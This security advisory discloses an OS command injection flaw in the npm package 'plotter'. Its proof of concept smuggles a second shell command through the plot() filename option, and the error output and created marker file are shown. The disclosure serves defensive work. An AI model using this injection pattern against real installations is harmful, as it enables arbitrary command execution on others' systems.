Summary
An OS Command Injection vulnerability was discovered in
plotter through the plot() function.
Product
All versions of plotter currently published on NPM.
Impact
It’s possible to inject OS commands into the command line that will be used to
run Gnuplot, in the plot() function. This vulnerability is not to be confused
with NPM-1441, which allows for an
attacker to inject malicious Gnuplot code instead. Thus, fixing one of the
vulnerabilities does not fix the other.
Steps to reproduce
$ rm -rf output.svg PWND
$ ls -1
node_modules
package-lock.json
package.json
poc.js
$ cat poc.js
require('plotter').plot({
data: [ 3, 1, 2, 3, 4 ],
filename: 'output.svg; echo PWND > PWND',
format: 'svg'
});
$ node poc.js
node:events:353
throw er; // Unhandled 'error' event
^
Error: write EPIPE
at afterWriteDispatched (node:internal/stream_base_commons:162:15)
at writeGeneric (node:internal/stream_base_commons:153:3)
at Socket._writeGeneric (node:net:774:11)
at Socket._write (node:net:786:8)
at writeOrBuffer (node:internal/streams/writable:395:12)
at Socket.Writable.write (node:internal/streams/writable:340:10)
at setup_gnuplot (/poc/node_modules/plotter/plotter.js:89:19)
at Object.plot (/poc/node_modules/plotter/plotter.js:185:3)
at Object.<anonymous> (/poc/poc.js:1:20)
at Module._compile (node:internal/modules/cjs/loader:1108:14)
Emitted 'error' event on Socket instance at:
at emitErrorNT (node:internal/streams/destroy:188:8)
at emitErrorCloseNT (node:internal/streams/destroy:153:3)
at processTicksAndRejections (node:internal/process/task_queues:80:21) {
errno: -32,
code: 'EPIPE',
syscall: 'write'
}
$ cat PWND
PWNDWith this PoC I’m only exploiting through the filename option, but others may
be exploitable as well.
Remediation
There are currently no fixed versions released. As a workaround, avoid passing
untrusted input into the vulnerable parameters when using the library.
Credit
This issue was discovered and reported by Checkmarx SCA Security Researcher
André Sá.
